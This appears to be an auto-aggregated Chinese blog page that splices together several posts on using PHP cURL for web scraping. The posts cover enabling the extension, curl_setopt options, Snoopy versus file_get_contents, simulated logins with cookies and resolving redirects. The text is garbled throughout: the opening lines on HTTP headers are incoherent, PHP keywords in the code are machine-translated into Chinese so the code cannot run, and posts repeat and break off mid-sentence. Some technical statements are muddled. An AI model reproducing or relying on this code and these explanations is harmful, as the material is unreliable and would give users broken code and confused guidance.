5、检查httpheaderdataheader,一般都包含了协议头和headerrequest-acceptcontent-typecontent-lengthcontent-lengthcontent-title当然你还要查看content-type的内容,比如说http要求,响应的content-type是content-type不要写空格,如果写错就失败,如果content-type带的header有参数的话,响应就是json。
6、检查http请求和响应第一步是检查传输数据包的格式,因为http协议使用utf-8编码的,
php curl抓取网页指定内容(PHP的CURL功能扩展模块的基本使用开启扩展)
网站优化 • 优采云 发表了文章 • 0 个评论 • 92 次浏览 • 2022-04-20 02:18
PHP的CURL函数扩展模块
1.什么是CURL功能模块
CURL 是一个开源文件传输工具,它使用 URL 语法从命令行工作。广泛用于liinux、unix系统,在DOS和win3下都有移植版本2、win64。
例子:
使用命令:curl //直接抓取网页内容
可以在命令行上进行的CURL操作也可以通过默认支持的CURL扩展使用PHP的函数来实现。
2.为什么要使用 CURL 模块
页面抓取,数据采集,网络爬虫,虽然名字不同,但原理是一样的,都是从别人那里获取内容网站。很多时候,因为想偷懒,就使用php中简单的fopen()、file_get_contents()等文件操作函数来暴力获取直接访问的页面数据。
如果您要抓取具有页面访问控制的页面或需要登录才能访问的页面,此方法将不起作用。因为文件操作函数无法定义客户端描述的文件请求头信息,也无法通过GET、POST等不同的请求方式获取内容。 CURL是一个文件传输工具,使用URL语法工作于命令行模式,支持多种协议,如http、ftp、telnet等。为了解决这个问题,我们可以使用php的扩展库CURL,通常是默认在安装包中,方便我们获取其他网站的内容。
3.CURL 能做什么?
3.1 模拟 POST 和 GET 请求。
3.2实现接口对接(API),数据传输,微信公众平台开放接口接入等。
3.3 实现一些只能在登录状态下才能操作的属性,比如模拟cookies。
4.PHP的CURL模块基本使用
4.1.启用 CURL 扩展
extension=php_curl.dll
4.2 使用 CURL 的基本步骤
初始化
//新建curl资源并赋值给变量$ch
$ch=curl_init();
设置变量
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,"");
执行并获得结果
//执行,获取url内容并输出到浏览器
curl_exec($ch);
释放 CURL 资源
//释放资源
curl_close($ch);
如果想获取内容不输出,可以使用CURLOPT_RETURNTRANSFER参数,将其内容设置为非0或true,即curl_exec()获取的信息将作为字符串返回,而不是直接输出我们把上面的步骤整合成一个函数,只要传递了url链接就可以返回请求的代码网站。
/**
*自定义一个请求url的函数,通过curl实现
****@param$url
****@returnmixed
*/
函数请求($url)
{
//新建curl资源并赋值给变量$ch
$ch=curl_init();
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,$url);
//设置获取内容不输出
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//执行,获取url内容并输出到浏览器
$output=curl_exec($ch);
//添加如下代码检测错误! ! !
如果($输出===假){
echo "请求失败!".curl_error($ch);
}
//释放资源
curl_close($ch);
返回$输出;
}
5.CURL 相关函数选项
通过设置函数curl_setopt()的不同参数,可以得到不同的结果,这就是curl强大的原因。
boolcurl_setopt(resource$ch,int$option,mixed$value)
为 cURL 会话句柄设置选项。
参数
ch
curl_init() 返回的 cURL 句柄。
选项
需要设置的 CURLOPT_XXX 选项。
价值
将在选项选项上设置的值。
介绍一些常用的:
CURLOPT_POST:这是一个非常有用的功能,因为它允许用户使用 POST 请求而不是 GET 请求,这意味着用户可以提交其他形式的页面而无需在表单中填写数据。当它为 TRUE 时将发送一个 POST 请求,类型为:application/x- 查看全部
php curl抓取网页指定内容(PHP的CURL功能扩展模块的基本使用开启扩展)
PHP的CURL函数扩展模块
1.什么是CURL功能模块
CURL 是一个开源文件传输工具,它使用 URL 语法从命令行工作。广泛用于liinux、unix系统,在DOS和win3下都有移植版本2、win64。
例子:
使用命令:curl //直接抓取网页内容
可以在命令行上进行的CURL操作也可以通过默认支持的CURL扩展使用PHP的函数来实现。
2.为什么要使用 CURL 模块
页面抓取,数据采集,网络爬虫,虽然名字不同,但原理是一样的,都是从别人那里获取内容网站。很多时候,因为想偷懒,就使用php中简单的fopen()、file_get_contents()等文件操作函数来暴力获取直接访问的页面数据。
如果您要抓取具有页面访问控制的页面或需要登录才能访问的页面,此方法将不起作用。因为文件操作函数无法定义客户端描述的文件请求头信息,也无法通过GET、POST等不同的请求方式获取内容。 CURL是一个文件传输工具,使用URL语法工作于命令行模式,支持多种协议,如http、ftp、telnet等。为了解决这个问题,我们可以使用php的扩展库CURL,通常是默认在安装包中,方便我们获取其他网站的内容。
3.CURL 能做什么?
3.1 模拟 POST 和 GET 请求。
3.2实现接口对接(API),数据传输,微信公众平台开放接口接入等。
3.3 实现一些只能在登录状态下才能操作的属性,比如模拟cookies。
4.PHP的CURL模块基本使用
4.1.启用 CURL 扩展
extension=php_curl.dll
4.2 使用 CURL 的基本步骤
初始化
//新建curl资源并赋值给变量$ch
$ch=curl_init();
设置变量
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,"");
执行并获得结果
//执行,获取url内容并输出到浏览器
curl_exec($ch);
释放 CURL 资源
//释放资源
curl_close($ch);
如果想获取内容不输出,可以使用CURLOPT_RETURNTRANSFER参数,将其内容设置为非0或true,即curl_exec()获取的信息将作为字符串返回,而不是直接输出我们把上面的步骤整合成一个函数,只要传递了url链接就可以返回请求的代码网站。
/**
*自定义一个请求url的函数,通过curl实现
****@param$url
****@returnmixed
*/
函数请求($url)
{
//新建curl资源并赋值给变量$ch
$ch=curl_init();
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,$url);
//设置获取内容不输出
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//执行,获取url内容并输出到浏览器
$output=curl_exec($ch);
//添加如下代码检测错误! ! !
如果($输出===假){
echo "请求失败!".curl_error($ch);
}
//释放资源
curl_close($ch);
返回$输出;
}
5.CURL 相关函数选项
通过设置函数curl_setopt()的不同参数,可以得到不同的结果,这就是curl强大的原因。
boolcurl_setopt(resource$ch,int$option,mixed$value)
为 cURL 会话句柄设置选项。
参数
ch
curl_init() 返回的 cURL 句柄。
选项
需要设置的 CURLOPT_XXX 选项。
价值
将在选项选项上设置的值。
介绍一些常用的:
CURLOPT_POST:这是一个非常有用的功能,因为它允许用户使用 POST 请求而不是 GET 请求,这意味着用户可以提交其他形式的页面而无需在表单中填写数据。当它为 TRUE 时将发送一个 POST 请求,类型为:application/x-
php curl抓取网页指定内容(curl()、file_get_contents(.class.php这三个远程页面抓取或采集中用到的工具)
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-04-20 02:13
curl()、file_get_contents()、snoopy.class.php是远程页面爬取或采集中用到的三个工具。它们具有相似的功能。它们的优点和缺点是什么?让我们一一介绍:
snoopy.class.php
snoopy是自带fsockopen的自研类,效率更高,不需要服务器特定的配置支持。可以在普通虚拟主机上使用,但是经常出现问题。
Snoopy 是一个 php 类,它模拟浏览器获取网页内容和发送表单的功能。
史努比的特点:
1、获取网页内容fetch
2、获取网页的文本内容(去掉HTML标签)fetchtext
3、获取网页链接,form fetchlinks fetchform
4、支持代理主机
5、支持基本的用户名/密码认证
6、支持设置user_agent、referer(coming)、cookies和header content(header)
7、支持浏览器重定向,控制重定向深度
8、可以将网页中的链接扩展成高质量的url(默认)
9、提交数据并获取返回值
10、支持跟踪 HTML 帧
11、支持重定向时传递cookie
需要php4以上就够了。由于是php的一个类,所以不需要扩展。服务器不支持 curl 时的最佳选择。
file_get_contents()
file_get_contents是fsockopen函数的一个简单封装,效率略低,但是抓取成功率很高,所以我一般在snoopy有问题的时候给他打电话。 5.0.0 增加了对context的支持,有了context,他还可以发送header信息,自定义user agent,referer,cookies都有。 5.1.0 添加了offset和maxlen参数来只读部分文件。
卷曲()
最强大的功能,几乎可以模拟浏览器的方方面面,几乎可以造假。效率也很高,支持多线程,但是需要开启curl扩展。
cURL是一个使用URL语法传输文件和数据的工具,支持多种协议,如HTTP、FTP、TELNET等。PHP还支持cURL库,我们常用于远程页面抓取和采集.
部分cms会使用 curl 功能,需要在服务器上启用 CURL 扩展。下面介绍具体方法:
1、将PHP的ext目录下的三个文件:php_curl.dll、libeay32.dll、ssleay32.dll复制到系统system32目录下。
2、添加 php.ini
;extension=php_curl.dll 去掉分号
3、重启 IIS 或 Apache
4、测试代码 查看全部
php curl抓取网页指定内容(curl()、file_get_contents(.class.php这三个远程页面抓取或采集中用到的工具)
curl()、file_get_contents()、snoopy.class.php是远程页面爬取或采集中用到的三个工具。它们具有相似的功能。它们的优点和缺点是什么?让我们一一介绍:

snoopy.class.php
snoopy是自带fsockopen的自研类,效率更高,不需要服务器特定的配置支持。可以在普通虚拟主机上使用,但是经常出现问题。
Snoopy 是一个 php 类,它模拟浏览器获取网页内容和发送表单的功能。
史努比的特点:
1、获取网页内容fetch
2、获取网页的文本内容(去掉HTML标签)fetchtext
3、获取网页链接,form fetchlinks fetchform
4、支持代理主机
5、支持基本的用户名/密码认证
6、支持设置user_agent、referer(coming)、cookies和header content(header)
7、支持浏览器重定向,控制重定向深度
8、可以将网页中的链接扩展成高质量的url(默认)
9、提交数据并获取返回值
10、支持跟踪 HTML 帧
11、支持重定向时传递cookie
需要php4以上就够了。由于是php的一个类,所以不需要扩展。服务器不支持 curl 时的最佳选择。
file_get_contents()
file_get_contents是fsockopen函数的一个简单封装,效率略低,但是抓取成功率很高,所以我一般在snoopy有问题的时候给他打电话。 5.0.0 增加了对context的支持,有了context,他还可以发送header信息,自定义user agent,referer,cookies都有。 5.1.0 添加了offset和maxlen参数来只读部分文件。
卷曲()
最强大的功能,几乎可以模拟浏览器的方方面面,几乎可以造假。效率也很高,支持多线程,但是需要开启curl扩展。
cURL是一个使用URL语法传输文件和数据的工具,支持多种协议,如HTTP、FTP、TELNET等。PHP还支持cURL库,我们常用于远程页面抓取和采集.
部分cms会使用 curl 功能,需要在服务器上启用 CURL 扩展。下面介绍具体方法:
1、将PHP的ext目录下的三个文件:php_curl.dll、libeay32.dll、ssleay32.dll复制到系统system32目录下。
2、添加 php.ini
;extension=php_curl.dll 去掉分号
3、重启 IIS 或 Apache
4、测试代码
php curl抓取网页指定内容(phpcurl抓取网页指定内容文本里面加上一个post)
网站优化 • 优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-04-18 18:00
phpcurl抓取网页指定内容文本httpheader里面加上一个post://\.php${request_uri}就ok了,如果做为post返回的话,再加上一个options的参数,将request_uri改为post://\.php?params=xxx\.php就可以了.
这个用apache或者nginx就可以了
apache即可http接口文本查询文本解析
找个网页看看是怎么交互的
抓包分析查看
php的话,headerform就可以写参数获取网页信息。
request_uri可以把request_uri设置为post或者get就可以了
用apache和nginx都可以设置参数获取响应内容,这个apache文档有,更新挺快的,nginx没用过。
使用百度爬虫(打开如下链接即可)可以获取,我的当时也是百度爬虫,python用爬虫框架requests库实现的。-dashboard/百度中最近的一篇文章分析数据网址下面的每个请求对应网页的api地址,然后同时获取下来这个api地址对应的网页响应内容。
这种方法不是很常见,但是如果最终需要返回自己想要的内容的话。soeasy!1.用爬虫工具获取相应ip下面的网页响应页面的地址:以下是猎豹爬虫spider的界面2.soeasy!!!spider这个spider还会自动抓取搜索结果页面的js文件!3.然后利用js获取图片内容,一般都是利用jquery+for循环处理js,是正则、正则和正则啊!网页都不会太长的,用正则匹配图片,然后直接替换js中的imgurl就ok啦4.剩下的部分处理处理就可以啦~。 查看全部
php curl抓取网页指定内容(phpcurl抓取网页指定内容文本里面加上一个post)
phpcurl抓取网页指定内容文本httpheader里面加上一个post://\.php${request_uri}就ok了,如果做为post返回的话,再加上一个options的参数,将request_uri改为post://\.php?params=xxx\.php就可以了.
这个用apache或者nginx就可以了
apache即可http接口文本查询文本解析
找个网页看看是怎么交互的
抓包分析查看
php的话,headerform就可以写参数获取网页信息。
request_uri可以把request_uri设置为post或者get就可以了
用apache和nginx都可以设置参数获取响应内容,这个apache文档有,更新挺快的,nginx没用过。
使用百度爬虫(打开如下链接即可)可以获取,我的当时也是百度爬虫,python用爬虫框架requests库实现的。-dashboard/百度中最近的一篇文章分析数据网址下面的每个请求对应网页的api地址,然后同时获取下来这个api地址对应的网页响应内容。
这种方法不是很常见,但是如果最终需要返回自己想要的内容的话。soeasy!1.用爬虫工具获取相应ip下面的网页响应页面的地址:以下是猎豹爬虫spider的界面2.soeasy!!!spider这个spider还会自动抓取搜索结果页面的js文件!3.然后利用js获取图片内容,一般都是利用jquery+for循环处理js,是正则、正则和正则啊!网页都不会太长的,用正则匹配图片,然后直接替换js中的imgurl就ok啦4.剩下的部分处理处理就可以啦~。
php curl抓取网页指定内容(Linux中curl利用URL规则在官网看出curl支持的各种协议 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 125 次浏览 • 2022-04-15 22:21
)
在 Linux 中,curl 是一个文件传输工具,它使用 URL 规则在命令行下工作。可以说是一个非常强大的http命令行工具。它支持文件上传和下载,是一个综合传输工具,但传统上习惯称url为下载工具。
这是 curl 的官方网站。您可以从上面的官方网站下载最新的 curl 版本。同时可以看到curl支持的各种协议(如HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S等)、curl的使用方法、开发支持者以及版本信息官方网站。想进一步了解curl的小伙伴可以去官网搜索自己关心的信息。
命令下载
apt install curl
常用命令
获取网页内容
curl www.jiek.xyz
将网页内容保存到指定文件
我们可以使用 > 符号将输出重定向到本地文件。
curl http://www.jiek.xyz > index.html
您还可以使用 curl 附带的 -o/-O 选项将内容保存到文件中。
注意:使用 -O 选项时,必须确保链接末尾收录文件名,否则 curl 将无法正确保存文件。如果您遇到链接中没有文件名的情况,您应该使用 -o 选项手动指定文件名,或者使用重定向符号。
而且-O不能保存在指定位置。
curl -o [保存的文件名] [url]
curl -o /jiek.txt www.jiek.xyz
网页跳转
某些 URL 会自动重定向。加上 -L 参数,curl 会跳转到新的 URL。
curl -L www.sina.com
输入上面的命令,结果会自动跳转到。
显示响应头信息和网页内容
curl -i www.jiek.xyz
只显示响应头信息
curl -I www.jiek.xyz
查看全部
php curl抓取网页指定内容(Linux中curl利用URL规则在官网看出curl支持的各种协议
)
在 Linux 中,curl 是一个文件传输工具,它使用 URL 规则在命令行下工作。可以说是一个非常强大的http命令行工具。它支持文件上传和下载,是一个综合传输工具,但传统上习惯称url为下载工具。
这是 curl 的官方网站。您可以从上面的官方网站下载最新的 curl 版本。同时可以看到curl支持的各种协议(如HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S等)、curl的使用方法、开发支持者以及版本信息官方网站。想进一步了解curl的小伙伴可以去官网搜索自己关心的信息。
命令下载
apt install curl

常用命令
获取网页内容
curl www.jiek.xyz

将网页内容保存到指定文件
我们可以使用 > 符号将输出重定向到本地文件。
curl http://www.jiek.xyz > index.html
您还可以使用 curl 附带的 -o/-O 选项将内容保存到文件中。
注意:使用 -O 选项时,必须确保链接末尾收录文件名,否则 curl 将无法正确保存文件。如果您遇到链接中没有文件名的情况,您应该使用 -o 选项手动指定文件名,或者使用重定向符号。
而且-O不能保存在指定位置。
curl -o [保存的文件名] [url]
curl -o /jiek.txt www.jiek.xyz


网页跳转
某些 URL 会自动重定向。加上 -L 参数,curl 会跳转到新的 URL。
curl -L www.sina.com
输入上面的命令,结果会自动跳转到。
显示响应头信息和网页内容
curl -i www.jiek.xyz

只显示响应头信息
curl -I www.jiek.xyz

php curl抓取网页指定内容(PHP实现远程模拟登陆最基础的实现功能详解(二))
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-04-15 22:19
实现的功能:
1、远程访问和采集内容
2、实现PHP网页版FTP上传下载
3、实现模拟登录:去一个邮件系统,curl可以模拟cookies
4、 实现接口对接(API)、数据传输等:通过平台发送短信,捕获并传输传输的信息。
5、实现模拟cookies等:有些属性只能在登录状态下操作。
如何使用CURL函数:
PHP默认不支持CURL,需要在php.ini中开启该功能
;extension=php_curl.dll 去掉分号
1 听着,整个操作的第一步就是使用cur_init()函数进行初始化
$(document).ready(function() {$('pre code').each(function(i, block) { hljs.highlightBlock( block); }); });$curl = curl_init('')
2.使用 curl_setopt() 函数设置选项。
3.设置后执行事务 curl_exec($curl);
4 最后关闭 curl_close();
使用PHP CURL实现传输和获取功能(后传方式):获取远程网页数据
[代码]$user = "admin";$pass = "admin";$curlPost = "user=$user&pass=$pass";$ch = curl_init(); //初始化一个CURL对象 curl_setopt($ch , CURLOPT_URL, "");//设置需要爬取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);//设置curl参数询问是否有结果输出到屏幕,如果为真则不返回假设网页中上面的0被1替换,那么需要回显下一个$data curl_setopt($ch, CURLOPT_POST, 1) ;//post 提交 curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost) ;$data = curl_exec($ch);//运行curl,请求网页 curl_close($ch);[/code][/code]
实现远程模拟登录最基本的部分。
curl还需要配置用户名和密码,但是被浏览器隐藏了。
================================================ === =================================
curl 模拟登录
模拟登录:即使不登录php100论坛,也可以查看相应信息。
分析登录字段--->登录后保持cookie形状--->读取cookie并跳转到相关页面--->抓取次数
1、模拟登录后创建文件保存cookie内容
2、通过读取生成的cookie内容模拟用户登录状态
3、去相关页面获取你需要的东西
tempname 创建一个临时文件
tempnam() 函数创建一个具有唯一文件名的临时文件。如果成功,该函数返回新的临时文件名。失败时返回 false。
tempnam(目录,前缀)
参数说明
dir 必需。指定创建临时文件的目录。
前缀是必需的。指定文件名的开头。
相当于 fopen 烹饪 fwirte 烹饪 fclose
它可以返回一个布尔值。使用第三方登录你的QQ和msn是非常危险的,因为它可以记录你的登录状态,并窃取你的用户名和密码。
使用CURL模拟登录PHP100论坛
1、分析输入框字段名和登录所需字段个数
2、保存cookie模拟登录,获取会员金币数量
代码:
//初始化一个cURL对象 $curl = curl_init();//设置需要爬取的URL curl_setopt($curl, CURLOPT_URL, " ");//设置cURL参数保存结果到字符串或输出到屏幕。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);//运行cURL,请求网页 $data = curl_exec($curl);//关闭URL请求 curl_close($curl);$user = "admin";$pass = "admin100";$curlPost = "user=$user&pass=$pass";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, " ");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);curl_setopt ( $ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);$data = curl_exec($ch);curl_close($ch);?>if($_POST['user']= = "admin"){ echo "";}else{ echo "";}//print_r($_POST);?> 查看全部
php curl抓取网页指定内容(PHP实现远程模拟登陆最基础的实现功能详解(二))
实现的功能:
1、远程访问和采集内容
2、实现PHP网页版FTP上传下载
3、实现模拟登录:去一个邮件系统,curl可以模拟cookies
4、 实现接口对接(API)、数据传输等:通过平台发送短信,捕获并传输传输的信息。
5、实现模拟cookies等:有些属性只能在登录状态下操作。
如何使用CURL函数:
PHP默认不支持CURL,需要在php.ini中开启该功能
;extension=php_curl.dll 去掉分号
1 听着,整个操作的第一步就是使用cur_init()函数进行初始化
$curl = curl_init('')
2.使用 curl_setopt() 函数设置选项。
3.设置后执行事务 curl_exec($curl);
4 最后关闭 curl_close();
使用PHP CURL实现传输和获取功能(后传方式):获取远程网页数据
[代码]$user = "admin";$pass = "admin";$curlPost = "user=$user&pass=$pass";$ch = curl_init(); //初始化一个CURL对象 curl_setopt($ch , CURLOPT_URL, "");//设置需要爬取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);//设置curl参数询问是否有结果输出到屏幕,如果为真则不返回假设网页中上面的0被1替换,那么需要回显下一个$data curl_setopt($ch, CURLOPT_POST, 1) ;//post 提交 curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost) ;$data = curl_exec($ch);//运行curl,请求网页 curl_close($ch);[/code][/code]
实现远程模拟登录最基本的部分。
curl还需要配置用户名和密码,但是被浏览器隐藏了。
================================================ === =================================
curl 模拟登录
模拟登录:即使不登录php100论坛,也可以查看相应信息。
分析登录字段--->登录后保持cookie形状--->读取cookie并跳转到相关页面--->抓取次数
1、模拟登录后创建文件保存cookie内容
2、通过读取生成的cookie内容模拟用户登录状态
3、去相关页面获取你需要的东西
tempname 创建一个临时文件
tempnam() 函数创建一个具有唯一文件名的临时文件。如果成功,该函数返回新的临时文件名。失败时返回 false。
tempnam(目录,前缀)
参数说明
dir 必需。指定创建临时文件的目录。
前缀是必需的。指定文件名的开头。
相当于 fopen 烹饪 fwirte 烹饪 fclose
它可以返回一个布尔值。使用第三方登录你的QQ和msn是非常危险的,因为它可以记录你的登录状态,并窃取你的用户名和密码。
使用CURL模拟登录PHP100论坛
1、分析输入框字段名和登录所需字段个数
2、保存cookie模拟登录,获取会员金币数量
代码:
//初始化一个cURL对象 $curl = curl_init();//设置需要爬取的URL curl_setopt($curl, CURLOPT_URL, " ");//设置cURL参数保存结果到字符串或输出到屏幕。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);//运行cURL,请求网页 $data = curl_exec($curl);//关闭URL请求 curl_close($curl);$user = "admin";$pass = "admin100";$curlPost = "user=$user&pass=$pass";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, " ");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);curl_setopt ( $ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);$data = curl_exec($ch);curl_close($ch);?>if($_POST['user']= = "admin"){ echo "";}else{ echo "";}//print_r($_POST);?>
php curl抓取网页指定内容(就是一个请求中存在重定向的时候获取请求返回头信息 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 117 次浏览 • 2022-04-15 22:17
)
在使用curl抓取网页内容时,往往需要知道网页返回的请求头信息和请求的相关信息,尤其是在请求过程中有重定向获取请求返回的时候头信息对分析请求内容很有帮助
以下是请求中的重定向示例。我们的目的是获取最终实际请求的url地址
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, 1);//返回response头部信息
curl_setopt($ch, CURLOPT_NOBODY, 1);//不返回response body内容
//curl_setopt($ch, CURLOPT_MAXREDIRS, 1);//设置请求最多重定向的次数
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//不直接输出response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);//如果返回的response 头部中存在Location值,就会递归请求
$content=curl_exec($ch);
$rinfo=curl_getinfo($ch);
echo $content,"</br>";
echo "";
print_r($rinfo);
以下是输出结果 HTTP/1.1 200 OKServer: nginxDate: Sat, 22 Dec 2012 06:17:44 GMTContent-Type: application/vnd.android.package-archiveConnection: closeLast-Modified: 2012 年 12 月 3 日星期一 16:00:00 GMT 过期时间:2013 年 12 月 3 日星期二 16:00:00 GMTCache-Control: max-age=31536000Content-Length: 2142149
Array( [url] => [content_type] => application/vnd.android.package-archive [http_code] => 200 [header_size] => 289 [request_size] => 196 [filetime] => -1 [ ssl_verify_result] => 0 [redirect_count] => 0 [total_time] => 0.171621 [namelookup_time] => 0.135256 [connect_time] => 0.152913 [pretransfer_time] => < @0.152916 [size_upload] => 0 [size_download] => 0 [speed_download] => 0 [speed_upload] => 0 [download_content_length] => 2142149 [upload_content_length] => 0 [starttransfer_time] => 0.@ >171582 [redirect_time] => 0 [certinfo] => Array())
可以看到,递归请求后,最终得到了200的响应,但是这个方法无法获取到最后一个请求的url,也就是最终实际请求的url。获取这个url需要递归分析每个请求返回的响应
下面是我写的一个递归函数,用来获取最后一个请求的url
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$realUrl=getRedirectLocation($url);
echo "</br>--->",$realUrl;
function getRedirectLocation($url){
$realUrl=$url;
echo $url,"</br>";
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);//设置curl执行时间不超过3秒
//curl_setopt($ch, CURLOPT_NOBODY, 1);//这行不能要,如果添上,那么在遇到302重定向的时候就会得不到真正的请求url
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$content=curl_exec($ch);
//echo $content;
$rinfo=curl_getinfo($ch);
$matches=array();
if(preg_match('/Location:\s+?(.+?)\s+?/', $content,$matches)){
//echo $matches[1],"</br>";
unset($content);
$realUrl=getRedirectLocation($matches[1]);
}
if(isset($content)){
unset($content);
}
return $realUrl;
} 查看全部
php curl抓取网页指定内容(就是一个请求中存在重定向的时候获取请求返回头信息
)
在使用curl抓取网页内容时,往往需要知道网页返回的请求头信息和请求的相关信息,尤其是在请求过程中有重定向获取请求返回的时候头信息对分析请求内容很有帮助
以下是请求中的重定向示例。我们的目的是获取最终实际请求的url地址
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, 1);//返回response头部信息
curl_setopt($ch, CURLOPT_NOBODY, 1);//不返回response body内容
//curl_setopt($ch, CURLOPT_MAXREDIRS, 1);//设置请求最多重定向的次数
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//不直接输出response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);//如果返回的response 头部中存在Location值,就会递归请求
$content=curl_exec($ch);
$rinfo=curl_getinfo($ch);
echo $content,"</br>";
echo "";
print_r($rinfo);
以下是输出结果 HTTP/1.1 200 OKServer: nginxDate: Sat, 22 Dec 2012 06:17:44 GMTContent-Type: application/vnd.android.package-archiveConnection: closeLast-Modified: 2012 年 12 月 3 日星期一 16:00:00 GMT 过期时间:2013 年 12 月 3 日星期二 16:00:00 GMTCache-Control: max-age=31536000Content-Length: 2142149
Array( [url] => [content_type] => application/vnd.android.package-archive [http_code] => 200 [header_size] => 289 [request_size] => 196 [filetime] => -1 [ ssl_verify_result] => 0 [redirect_count] => 0 [total_time] => 0.171621 [namelookup_time] => 0.135256 [connect_time] => 0.152913 [pretransfer_time] => < @0.152916 [size_upload] => 0 [size_download] => 0 [speed_download] => 0 [speed_upload] => 0 [download_content_length] => 2142149 [upload_content_length] => 0 [starttransfer_time] => 0.@ >171582 [redirect_time] => 0 [certinfo] => Array())
可以看到,递归请求后,最终得到了200的响应,但是这个方法无法获取到最后一个请求的url,也就是最终实际请求的url。获取这个url需要递归分析每个请求返回的响应
下面是我写的一个递归函数,用来获取最后一个请求的url
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$realUrl=getRedirectLocation($url);
echo "</br>--->",$realUrl;
function getRedirectLocation($url){
$realUrl=$url;
echo $url,"</br>";
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);//设置curl执行时间不超过3秒
//curl_setopt($ch, CURLOPT_NOBODY, 1);//这行不能要,如果添上,那么在遇到302重定向的时候就会得不到真正的请求url
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$content=curl_exec($ch);
//echo $content;
$rinfo=curl_getinfo($ch);
$matches=array();
if(preg_match('/Location:\s+?(.+?)\s+?/', $content,$matches)){
//echo $matches[1],"</br>";
unset($content);
$realUrl=getRedirectLocation($matches[1]);
}
if(isset($content)){
unset($content);
}
return $realUrl;
}
php curl抓取网页指定内容(詹姆斯·安德森抓掷后重定向(由JS进行的操作))
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-04-11 21:10
尿酸
我正在尝试使用此代码获取页面但没有成功。
捕获后重定向(由 JS 执行)。
$url = 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Speesipro.A';
echo getPage($url);
function getPage($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
我应该怎么做才能获得没有重定向的 URL 页面?
詹姆斯·安德森
为避免重定向,只需将这行代码添加到脚本中替换最后一行
//返回$result;
return str_replace("https://c.s-microsoft.com/en-u ... ot%3B,"",$result);
}
所以要加载的 javascript 不会将加载的页面重定向到无效的 URL。
如果有帮助,请检查并告诉我。 查看全部
php curl抓取网页指定内容(詹姆斯·安德森抓掷后重定向(由JS进行的操作))
尿酸
我正在尝试使用此代码获取页面但没有成功。
捕获后重定向(由 JS 执行)。
$url = 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Speesipro.A';
echo getPage($url);
function getPage($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $url);
